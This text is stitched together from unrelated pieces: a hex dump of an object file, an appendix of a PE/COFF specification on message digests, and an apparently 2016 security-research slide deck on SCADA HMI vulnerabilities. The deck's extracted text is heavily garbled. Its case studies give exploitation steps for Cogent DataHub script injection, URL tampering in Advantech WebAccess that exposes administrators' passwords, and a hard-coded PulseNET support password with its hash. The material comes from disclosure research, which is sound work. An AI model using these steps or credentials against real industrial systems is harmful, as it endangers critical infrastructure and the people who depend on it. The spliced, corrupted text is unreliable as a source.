00000370 00 00 15 00 00 00 00 00 2e 6c 66 00 00 00 00 00 .........lf.....
00000380 03 00 00 00 03 00 00 00 65 00 2e 65 66 00 00 00 ........e..ef...
00000390 00 00 0a 00 00 00 03 00 00 00 65 01 00 00 00 00 ..........e.....
000003a0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 ...............d
000003b0 65 62 75 67 24 53 00 00 00 00 04 00 00 00 03 01 ebug$S..........
000003c0 30 00 00 00 02 00 00 00 00 00 00 00 03 00 05 00 0...............
000003d0 00 00 2e 74 65 78 74 00 00 00 00 00 00 00 05 00 ...text.........
000003e0 00 00 03 01 05 00 00 00 00 00 02 00 00 00 00 00 ................
000003f0 00 00 01 00 00 00 5f 66 6f 6f 00 00 00 00 00 00 ......_foo......
00000400 00 00 05 00 20 00 02 01 15 00 00 00 05 00 00 00 .... ...........
00000410 1d 02 00 00 00 00 00 00 00 00 2e 62 66 00 00 00 ...........bf...
00000420 00 00 00 00 00 00 05 00 00 00 65 01 00 00 00 00 ..........e.....
00000430 07 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 6c ...............l
00000440 66 00 00 00 00 00 02 00 00 00 05 00 00 00 65 00 f.............e.
00000450 2e 65 66 00 00 00 00 00 05 00 00 00 05 00 00 00 .ef.............
00000460 65 01 00 00 00 00 08 00 00 00 00 00 00 00 00 00 e...............
00000470 00 00 00 00 2e 64 65 62 75 67 24 53 00 00 00 00 .....debug$S....
00000480 06 00 00 00 03 01 2f 00 00 00 02 00 00 00 00 00 ....../.........
00000490 00 00 05 00 05 00 00 00 2e 64 65 62 75 67 24 54 .........debug$T
000004a0 00 00 00 00 07 00 00 00 03 01 34 00 00 00 00 00 ..........4.....
000004b0 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ................
Appendix: Calculating Image Message Digests
Several Attribute Certificates are expected to be used to verify the integrity of the images. That is,
they will be used to ensure that a particular image file, or part of that image file, has not been
altered in any way from its original form. To accomplish this task, these certificates will typically
include something called a Message Digest.
Message digests are similar to a file checksum in that they produce a small value that relates to
the integrity of a file. A checksum is produced by a simple algorithm and its use is primarily to
detect memory failures. That is, it is used to detect whether or not a block of memory on disk has
gone bad and the values stored there have become corrupted. A message digest is similar to a
checksum in that it will also detect file corruption. However, unlike most checksum algorithms, a
message digest also has the property that it is very difficult to modify a file such that it will have
the same message digest as its original (unmodified) form. That is, a checksum is intended to
detect simple memory failures leading to corruption, but a message digest may be used to detect
intentional, and even crafty modifications to a file, such as those introduced by viruses, hackers,
or Trojan Horse programs.
It is not desirable to include all image file data in the calculation of a message digest. In some
cases it simply presents undesirable characteristics (like the file is no longer localizable without
regenerating certificates) and in other cases it is simply impossible. For example, it is not possible
to include all information within an image file in a message digest, then insert a certificate
containing that message digest in the file, and later be able to generate an identical message
digest by including all image file data in the calculation again (since the file now contains a
certificate that wasn’t originally there).
This specification does not attempt to architect what each Attribute Certificate may be used for, or
which fields or sections of an image file must be included in a message digest. However, this
section does identify which fields you may not want to or may not include in a message digest.
In addition to knowing which fields are and are not included in the calculation of a message digest,
it is important to know the order in which the contents of the image are presented to the digest
algorithm. This section specifies that order.
Fields Not To Include In Digests
There are some parts of an image that you may not want to include in any message digest. This
section identifies those parts, and describes why you might not want to include them in a message
digest.
1. Information related to Attribute Certificates - It is not possible to include a certificate in the
calculation of a message digest that resides within the certificate. Since certificates can be
added to or removed from an image without effecting the overall integrity of the image this is
not a problem. Therefore, it is best to leave all attribute certificates out of the image even if
there are certificates already in the image at the time you are calculating your message
digest. There is no guarantee those certificates will still be there later, or that other certificates
won’t have been added. To exclude attribute certificate information from the message digest
calculation, you must exclude the following information from that calculation:
•
The Certificate Table field of the Optional Header Data Directories.
•
The Certificate Table and corresponding certificates pointed to by the Certificate Table
field listed immediately above.
2. Debug information - Debug information may generally be considered advisory (to debuggers)
and does not effect the actual integrity of the executable program. It is quite literally possible
to remove debug information from an image after a product has been delivered and not effect
the functionality of the program. This is, in fact, a disk saving measure that is sometimes
utilized. If you do not want to include debug information in your message digest, then you
should not include the following information in your message digest calculation:
•
The Debug entry of the Data Directory in with optional header.
•
The .debug section
3. File Checksum field of the Windows NT-Specific Fields of the Optional Header - This
checksum includes the entire file (including any attribute certificates included in the file) and
will, in all likelihood, be different after inserting your certificate than when you were originally
calculating a message digest to include in your certificate.
4. Unused, or obsolete fields - There are several fields that are either unused or obsolete. The
value of these fields is undefined and may change after you calculate your message digest.
These fields include:
•
Reserved field of the Optional Header Windows NT-Specific Fields (offset 52).
•
The DLL Flags field of the Optional Header Windows NT-Specific Fields. This field is
obsolete.
•
Loader Flags field of the Optional Header Windows NT-Specific Fields. This field is
obsolete.
•
Reserved entries of the Data Directory in the object header.
5. Resources (makes localization easier) - depending upon the specifics of your Attribute
Certificate, it may be desirable or undesirable to include resources in the message digest. If
you want to allow localization without the generation of new certificates, then you do not want
to include resources in your message digest. If the values of the resources are critical to your
application, then you probably do want them included in your message digest, and you will
accept the overhead of generating a certificate for each localized copy of the image. If you do
not want to include resources in your message digest, then you should not include the
following information in the message digest calculation:
•
Resource Table entry of the Optional Header Data Directory.
•
The .rsrc section. | pdf |
Hacker'Machine,Interface,
State,of,the,Union,for,SCADA,HMI,Vulnerabili:es,
Copyright,2016,Trend,Micro,Inc.,
2,
Introduc:on,
Copyright,2016,Trend,Micro,Inc.,
3,
Trend,Micro,Zero,Day,Ini:a:ve,
• Fritz,Sands,',@FritzSands,
– Security)Researcher)–)Zero)Day)Ini4a4ve)
– Root)cause)analysis)and)vulnerability)discovery)
– Focused)on)SCADA)HMI)vulnerability)analysis)
• Brian,Gorenc,',@maliciousinput,
– Senior)Manager)?)Zero)Day)Ini4a4ve)
– Root)cause)analysis)and)vulnerability)discovery)
– Organizer)of)Pwn2Own)hacking)compe44ons)
Copyright,2016,Trend,Micro,Inc.,
4,
SCADA,Industry,
Copyright,2016,Trend,Micro,Inc.,
5,
Marketplace,Overview,,
• Focused,on,ICS,equipment,sales,over,soTware,sales,
• Ac:ve,merger,and,acquisi:on,ac:vity,,
• Highly,regionalized,,
Copyright,2016,Trend,Micro,Inc.,
6,
What,is,the,Human,Machine,Interface?,
• Main,hub,for,managing,and,opera:ng,control,systems,
• Collects,data,from,the,control,systems,
• Presents,visualiza:on,of,the,system,architecture,
• Alarms,operator/sends,no:fica:ons,
• Should,be,operated,on,isolated,and,trusted,networks,
– …but,it,usually,isn’t!,
Copyright,2016,Trend,Micro,Inc.,
7,
Why,target,the,Human,Machine,Interface?,
• Control,the,targeted,cri:cal,infrastructure,
• Harvest,informa:on,about,architecture,
• Disable,or,deceive,the,alarm,and,no:fica:on,systems,
• Physically,damage,SCADA,equipment,
Copyright,2016,Trend,Micro,Inc.,
8,
Malware,Targe:ng,HMI,Solu:ons,
• Stuxnet,
– First,malware,created,to,target,ICS,environments,
– Abused,vulnerabili:es,
• Siemems,SIMATIC,STEP,7,DLL,Hijacking,Vulnerability,(ICSA'12'205'02),
• Siemens,WinCC,Insecure,SQL,Server,Authen:ca:on,(ICSA'12'205'01),
• ,BlackEnergy,
– Ongoing,sophis:cated,malware,campaign,compromising,ICS,environments,
– Abused,vulnerabili:es,
• GE,CIMIPCITY,Path,Traversal,Vulnerabili:es,(ICSA'14'023'01),
• Siemens,WinCC,Remote,Code,Execu:on,Vulnerabili:es,(ICSA'14'329'02D),
• Advantech,WebAccess,(ICS'ALERT'14'281'01B),
Copyright,2016,Trend,Micro,Inc.,
9,
ICS'CERT,
• Organiza:on,within,Department,of,Homeland,Security,
• Focuses,on:,
– Responding,to,and,analyzing,control,systems'related,incidents,
– Conduc:ng,vulnerability,and,malware,analysis,
– Providing,onsite,incident,response,services,
– Coordina:ng,the,responsible,disclosure,of,vulnerabili:es,and,
associated,mi:ga:ons,
• For,2015,,ICS'CERT,responded,to,295,incidents,and,handled,
486,vulnerability,disclosures,
Copyright,2016,Trend,Micro,Inc.,
10,
Cri:cal,Infrastructure,Akacks,
Copyright,2016,Trend,Micro,Inc.,
11,
Targe:ng,Water,U:li:es,
• Compromised,internet'facing,AS/400,system,responsible,for:,
– Network,rou:ng,
– Manipula:on,of,Programmable,Logic,Controllers,(PLC),
– Management,of,customer,PII,and,billing,informa:on,
• Altered,semngs,related,to,water,flow,and,amount,of,
chemicals,that,went,into,the,water,supply,
• Four,separate,connec:ons,to,the,AS/400,over,a,60'day,
period,
• Actors,IP,:ed,to,previous,hack:vist,ac:vi:es,
Copyright,2016,Trend,Micro,Inc.,
12,
Targe:ng,Power,Plants,
• On,December,24,,2015,,Ukrainian,companies,experienced,
unscheduled,power,outages,impac:ng,225,000+,customers.,
– Caused,by,external,malicious,actors,
– Mul:ple,coordinated,akacks,within,30,minutes,of,each,other,
• Used,remote,administra:on,tools,and/or,remote,industrial,
control,system,(ICS),client,soTware,to,control,breakers.,
• Used,KillDisk,to,overwrite,Windows'based,human'machine,
interface,system.,
– Disrupt,restora:on,efforts,
Copyright,2016,Trend,Micro,Inc.,
13,
Targe:ng,Railway,and,Mining,Industry,
• Malware,similar,to,the,power,incident,found,in,the,akacks,
against,a,Ukrainian,rail,and,a,Ukrainian,mining,company,
– November,–,December,2015,
• Overlap,between,the,samples,found,in,the,Ukrainian,power,
incident,and,those,apparently,used,against,the,Ukrainian,
mining,company,
– Malware,leveraged,(BlackEnergy/KillDisk),
– Infrastructure,
– Naming,Conven:ons,
Copyright,2016,Trend,Micro,Inc.,
14,
Prevalent,Vulnerability,Types,
Copyright,2016,Trend,Micro,Inc.,
15,
Current,State,of,HMI,Solu:ons,
• Not,built,with,security,in,mind,,
• Seen,no,benefit,of,the,evolu:on,of,the,secure,SDL,
• Mi:ga:ons,against,advanced,akacks,are,disabled,
– ASLR,,SafeSEH,,Stack,Cookies,
• Poor,design/developer,assump:ons,
• Lack,of,understanding,of,real,opera:ng,environment,
– Not,on,isolated,or,trusted,networks,
– Con:nually,being,interconnected,
Copyright,2016,Trend,Micro,Inc.,
16,
Common,Problems,with,HMI,
Memory,Corrup:on,
Creden:al,Management,
Insecure,Defaults,
Authen:ca:on/Authoriza:on,
Injec:on,
Other,
Source:,2015'2016,ICS'CERT,Advisories,,
Copyright,2016,Trend,Micro,Inc.,
17,
Now,let’s,get,down,and,dirty!,
CASE,STUDIES,
Copyright,2016,Trend,Micro,Inc.,
18,
Injec:ons,
• 9%,of,iden:fied,vulnerabili:es,
• Common,vulnerability,types,
– SQL,Injec:on,
– Code,Injec:on,,
– OS,Command,Injec:on,
– Command,Injec:on,
• Zero,Day,Ini:a:ve,case,study,
– Cogent,DataHub,Gamma,
Command,Injec:on,
Remote,Code,Execu:on,Vulnerability,
Copyright,2016,Trend,Micro,Inc.,
19,
,
Cogent,DataHub,Case,Study,
• ICS'CERT,states:,
– “allow,an,akacker,to,turn,on,an,insecure,processing,mode,in,the,
web,server,,which,subsequently,allows,the,akacker,to,send,
arbitrary,script,commands,to,the,server”,
• Iden:fiers,
– CVE'2015'3789,
– ZDI'15'438,
– ICSA–15–246–01,
• CVSS,
– 7.5,
• Disclosure,Timeline,,
– 2015–06–02,',Reported,to,vendor,,
2015–09–08,–,Coordinated,release,
• Credit,
– Discovered,by:,Anonymous,
– Disclosed,by:,Zero,Day,Ini:a:ve,
Copyright,2016,Trend,Micro,Inc.,
20,
,
Cogent,DataHub,Overview,
Copyright,2016,Trend,Micro,Inc.,
21,
Gamma,Script,Overview,
• Gamma,is,DataHub’s,scrip:ng,language,
• Dynamically'typed,interpreted,programming,language,
specifically,designed,to,allow,rapid,development,of,control,
and,user,interface,applica:ons,
• Gamma,has,a,syntax,similar,to,C,and,C++,,but,has,a,range,of,
built'in,features,that,make,it,a,far,beker,language,for,
developing,sophis:cated,real':me,systems,
Copyright,2016,Trend,Micro,Inc.,
22,
Akacker'Supplied,Script,Evalua:on,
• Flaw,exists,within,the,EvalExpression,method,
– Allows,for,execu:on,of,akacker,controlled,code,
• Remotely,accessible,through,the,AJAX,facility,
– Listening,on,TCP,port,80,,
• Supplying,a,specially,formaked,Gamma,script,allows,for,the,
execu:on,of,arbitrary,OS,commands,
Copyright,2016,Trend,Micro,Inc.,
23,
Vulnerable,Code,
Copyright,2016,Trend,Micro,Inc.,
24,
Exploita:on,Steps,
1. Send,a,request,to,any,Gamma,script,to,load,necessary,
libraries,
2. Call,AJAXSupport.AllowExpressions,and,set,
allow_any_expression,to,True,,
3. Call,AJAXSupport.EvalExpression,method,and,pass,in,the,
script,that,you,want,executed,
Copyright,2016,Trend,Micro,Inc.,
25,
Exploita:on,Demo,
Copyright,2016,Trend,Micro,Inc.,
26,
Patch,Analysis,
Copyright,2016,Trend,Micro,Inc.,
27,
Authen:ca:on/Authoriza:on,
• 12%,of,iden:fied,vulnerabili:es,
• Common,vulnerability,types,
– Authen:ca:on,Bypass,Issues,
– Improper,Access,Control,
– Improper,Privilege,Management,
– Improper,Authen:ca:on,
• Zero,Day,Ini:a:ve,case,study,
– Advantech,WebAccess,upAdminPg,,
Informa:on,Disclosure,Vulnerability,
Copyright,2016,Trend,Micro,Inc.,
28,
,
Advantech,WebAccess,Case,Study,
• ICS'CERT,states:,
– “A,properly,authen:cated,administrator,can,view,passwords,for,
other,administrators.”,
• Iden:fiers,
– CVE'2016'5810,
– ZDI'16'429,
– ICSA'16'173'01,
• CVSS,
– 6.8,
• Disclosure,Timeline,,
– 2016–05–11,',Reported,to,vendor,,
2016–07–18,–,Coordinated,release,
• Credit,
– Discovered,by:,Zhou,Yu,
– Disclosed,by:,Zero,Day,Ini:a:ve,
Copyright,2016,Trend,Micro,Inc.,
29,
Update,your,password…and,view,others!,
• Specific,flaw,exists,within,upAdminPg.asp,
– /broadWeb/user/upAdminPg.asp,
• Used,to,update,user,configura:ons,
– User,Name/Password,
– Descrip:on,of,Account,
Copyright,2016,Trend,Micro,Inc.,
30,
Easy,steps,to,exploita:on,
1. Login,known,account,and,click,‘Project,user,property’.,
–
http://<ip>/broadWeb/user/upAdminPg.asp?uname=known&return=bwpro=
2. Set,uname,to,vic:m,account,name.,
–
http://<ip>/broadWeb/user/upAdminPg.asp?uname=victim&return=bwproj=
3. View,the,source,in,page,return,and,examine,the,password,
of,the,user.,
<tr=bgcolor="#C9C9CB”>=
=
=<td=width="30%"=align="right"><font=class=e3>Password</font></td>=
=
=<td=width="70%"=align="left"=valign="middle”>=
=
=
=<input=type="password"=name="Password"=maxlength="8"=size="8"=value=”secret”>=
=</td>=
</tr>=
Copyright,2016,Trend,Micro,Inc.,
31,
Exploita:on,Demo,
Copyright,2016,Trend,Micro,Inc.,
32,
Insecure,Defaults,
•
12%,of,iden:fied,vulnerabili:es,
•
Common,vulnerability,types,
– Cleartext,Transmission,of,Sensi:ve,,
Informa:on,
– Missing,Encryp:on,of,Sensi:ve,Info,
– Unsafe,Ac:veX,Control,Marked,
Safe,For,Scrip:ng,
•
Zero,Day,Ini:a:ve,case,study,
– Schneider,Electric,DS'NVs,,
Rvctl.RVControl.1,SetText,,
Remote,Code,Execu:on,Vulnerability,
Copyright,2016,Trend,Micro,Inc.,
33,
,
Schneider,Electric,Pelco,DS'NVs,,
• ICS'CERT,states:,
– “products,contain,vulnerable,DLL”,
• Iden:fiers,
– CVE'2015'0982,
– ZDI'15'090,
– ICSA'15'071'01,
• CVSS,
– 7.5,
• Disclosure,Timeline,,
– 2014–08–13,',Reported,to,vendor,,
2015–03–12,–,Coordinated,release,
• Credit,
– Discovered,by:,rgod,and,kimiya,
– Disclosed,by:,Zero,Day,Ini:a:ve,
Copyright,2016,Trend,Micro,Inc.,
34,
Ac:veX,Control,Semngs,
Copyright,2016,Trend,Micro,Inc.,
35,
Proof,of,Concept,Demo,
Copyright,2016,Trend,Micro,Inc.,
36,
Creden:al,Management,
• 19%,of,iden:fied,vulnerabili:es,
• Common,vulnerability,types,
– Use,of,Hard'coded,Creden:als,
– Storing,Passwords,in,a,Recoverable,
Format,
– Insufficiently,Protected,Creden:als,
• Zero,Day,Ini:a:ve,case,study,
– GE,MDS,PulseNET,Hidden,Support,Account,
Remote,Code,Execu:on,Vulnerability,
,
Copyright,2016,Trend,Micro,Inc.,
37,
,
GE,MDS,PulseNET,Case,Study,
• ICS'CERT,states:,
– “The,affected,products,contain,a,hard'coded,support,account,with,
full,privileges.”,
• Iden:fiers,
– CVE'2015'6456,
– ZDI'15'440,
– ICSA'15'258'03,
• CVSS,
– 9.0,
• Disclosure,Timeline,,
– 2015–05–14,',Reported,to,vendor,,
2015–09–16,–,Coordinated,release,
• Credit,
– Discovered,by:,Andrea,Micalizzi,(rgod),
Disclosed,by:,Zero,Day,Ini:a:ve,
Copyright,2016,Trend,Micro,Inc.,
38,
User,Management,Panel,
Copyright,2016,Trend,Micro,Inc.,
39,
Actual,User,Database,
Copyright,2016,Trend,Micro,Inc.,
40,
Undocumented,ge_support,Account,
• Exists,in,the,sec_user,table)by)default)
• Password,for,this,account:,
– <![HDATA[MD5$8af7e0cd2c76d2faa98b71f8ca7923f9,
– “Pu1seNET”,
• Account,offers,full,privileges,
Copyright,2016,Trend,Micro,Inc.,
41,
Exploita:on,Demo,
Copyright,2016,Trend,Micro,Inc.,
42,
Memory,Corrup:on,
• 20%,of,iden:fied,vulnerabili:es,
• Common,vulnerability,types,
– Stack'based,Buffer,Overflow,
– Heap'based,Buffer,Overflow,
– Out'of'bounds,Read/Write,
• Zero,Day,Ini:a:ve,case,study,
– Advantech,WebAccess,webvrpcs,Service,
BwOpcSvc.dll,WindowName,,
sprin~,Stack'Based,Buffer,Overflow,
Remote,Code,Execu:on,Vulnerability,
Copyright,2016,Trend,Micro,Inc.,
43,
,
Advantech,WebAccess,Case,Study,
• ICS'CERT,states:,
– “There,are,many,instances,where,the,buffer,on,the,stack,can,be,
overwriken”,
• Iden:fiers,
– CVE'2016'0856,
– ZDI'16'048,
– ICSA'16'014'01,
• CVSS,
– 9.3,
• Disclosure,Timeline,,
– 2015–09–17,',Reported,to,vendor,,
2016–02–05,–,Coordinated,release,
• Credit,
– Discovered,by:,Anonymous,
– Disclosed,by:,Zero,Day,Ini:a:ve,
Copyright,2016,Trend,Micro,Inc.,
44,
,
Advantech,WebAccess,HMI,Solu:on,
Copyright,2016,Trend,Micro,Inc.,
45,
Remotely,Accessible,Services,,
• Launches,a,service,,webvrpcs.exe,,in,the,context,of,a,local,
administra:ve,users,
• Services,listens,on,TCP,port,4592,,by,default,,and,may,be,
accessed,over,an,RPC'based,protocol,
• Applica:on,interface,is,structured,to,resemble,the,Windows,
Device,IoControl,func:on,
– Each,func:on,contains,a,field,similar,to,an,IOCTL,
Copyright,2016,Trend,Micro,Inc.,
46,
Prototype,of,RPC,func:on,
Copyright,2016,Trend,Micro,Inc.,
47,
IOCTL,0x0001388B,
• Inside,BwOpcSvc.dll,(which,is,loaded,into,webvrpc.exe),,
rou:ne,with,an,exported,entry,name,of,BwSvcFunc:on,
which,processes,a,number,of,entry,points,,using,a,jump,
table.,
• Flaw,exists,within,the,implementa:on,of,IOCTL,0x0001388B,,
• Stack'based,buffer,overflow,exists,in,a,call,to,sprin~,using,
WindowsName,parameter,
Copyright,2016,Trend,Micro,Inc.,
48,
Vulnerable,Code,
Copyright,2016,Trend,Micro,Inc.,
49,
Stack,Layout,
Copyright,2016,Trend,Micro,Inc.,
50,
Applica:on,Crash,
Copyright,2016,Trend,Micro,Inc.,
51,
Exploita:on,Demo,
Copyright,2016,Trend,Micro,Inc.,
52,
Patch,Analysis,
• _sprin~,is,in,the,list,of,MicrosoT,banned,APIs,list,
– First,published,in,2007,
– hkps://msdn.microsoT.com/en'us/library/bb288454.aspx,,,,
• Advantech,should,implement,MicrosoT,banned,APIs,and,
remove,all,of,them,from,shipping,code,
• What,did,they,do…,
Copyright,2016,Trend,Micro,Inc.,
53,
Patch,Analysis,
• WindowName,field,in,the,stack,buffer,is,0x80,bytes,
• _snprin~,Length,parameter,is,0x7f,bytes,
Copyright,2016,Trend,Micro,Inc.,
54,
Variant,Analysis,
1.
ZDI'16'049,',Advantech,WebAccess,webvrpcs,Service,BwOpcSvc.dll,WindowName,sprin~,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
2.
ZDI'16'050,',Advantech,WebAccess,webvrpcs,Service,BwOpcSvc.dll,WindowName,sprin~,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
3.
ZDI'16'051,',Advantech,WebAccess,webvrpcs,Service,BwOpcSvc.dll,WindowName,sprin~,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
4.
ZDI'16'052,',Advantech,WebAccess,webvrpcs,Service,BwOpcSvc.dll,sprin~,Uncontrolled,Format,String,Remote,Code,Execu:on,Vulnerability,
5.
ZDI'16'053,',Advantech,WebAccess,webvrpcs,Service,BwBASScdDl.dll,TargetHost,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
6.
ZDI'16'054,',Advantech,WebAccess,webvrpcs,Service,WaDBS.dll,TagName,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
7.
ZDI'16'055,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,sprin~,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
8.
ZDI'16'056,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,sprin~,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
9.
ZDI'16'057,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,ProjectName,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
10.
ZDI'16'058,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,ProjectName,strcpy,Globals,Overflow,Remote,Code,Execu:on,Vulnerability,
11.
ZDI'16'059,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,ProjectName,strcat,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
12.
ZDI'16'060,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,HostName/ProjectName/NodeName,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
13.
ZDI'16'061,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,sprin~,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
14.
ZDI'16'062,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,ProjectName/NodeName,sprin~,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
15.
ZDI'16'063,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
16.
ZDI'16'064,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
17.
ZDI'16'065,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
18.
ZDI'16'066,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
19.
ZDI'16'067,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,Backup,RPC,Hostname,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
20.
ZDI'16'068,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
21.
ZDI'16'069,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,NewPointValue,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
22.
ZDI'16'070,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,Primary,RPC,Hostname,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
23.
ZDI'16'071,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
24.
ZDI'16'072,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,Backup,RPC,Hostname,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
Copyright,2016,Trend,Micro,Inc.,
55,
Variant,Analysis,
25.
ZDI'16'073,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,memcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
26.
ZDI'16'074,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,memcpy,Globals,Overflow,Remote,Code,Execu:on,Vulnerability,
27.
ZDI'16'075,',Advantech,WebAccess,webvrpcs,Service,BwpAlarm.dll,memcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
28.
ZDI'16'076,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
29.
ZDI'16'077,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
30.
ZDI'16'078,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
31.
ZDI'16'079,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
32.
ZDI'16'080,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,TagName,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
33.
ZDI'16'081,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
34.
ZDI'16'082,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
35.
ZDI'16'083,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
36.
ZDI'16'084,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
37.
ZDI'16'085,',Advantech,WebAccess,webvrpcs,Service,ViewSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
38.
ZDI'16'086,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
39.
ZDI'16'087,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
40.
ZDI'16'088,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
41.
ZDI'16'089,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
42.
ZDI'16'090,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
43.
ZDI'16'091,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
44.
ZDI'16'092,',Advantech,WebAccess,webvrpcs,Service,BwKrlApi.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
45.
ZDI'16'093,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
46.
ZDI'16'094,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,Path,BwBuildPath,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
47.
ZDI'16'095,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,TagGroup,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
48.
ZDI'16'096,',Advantech,WebAccess,webvrpcs,Service,ViewDll.dll,TagGroup,strcat,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
Copyright,2016,Trend,Micro,Inc.,
56,
Variant,Analysis,
49.
ZDI'16'097,',Advantech,WebAccess,webvrpcs,Service,ViewDll.dll,TagGroup,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
50.
ZDI'16'099,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,TagGroup,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
51.
ZDI'16'100,',Advantech,WebAccess,webvrpcs,Service,DrawSrv.dll,TagGroup,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
52.
ZDI'16'101,',Advantech,WebAccess,datacore,Service,datacore.exe,Path,strcat,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
53.
ZDI'16'102,',Advantech,WebAccess,datacore,Service,datacore.exe,Path,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
54.
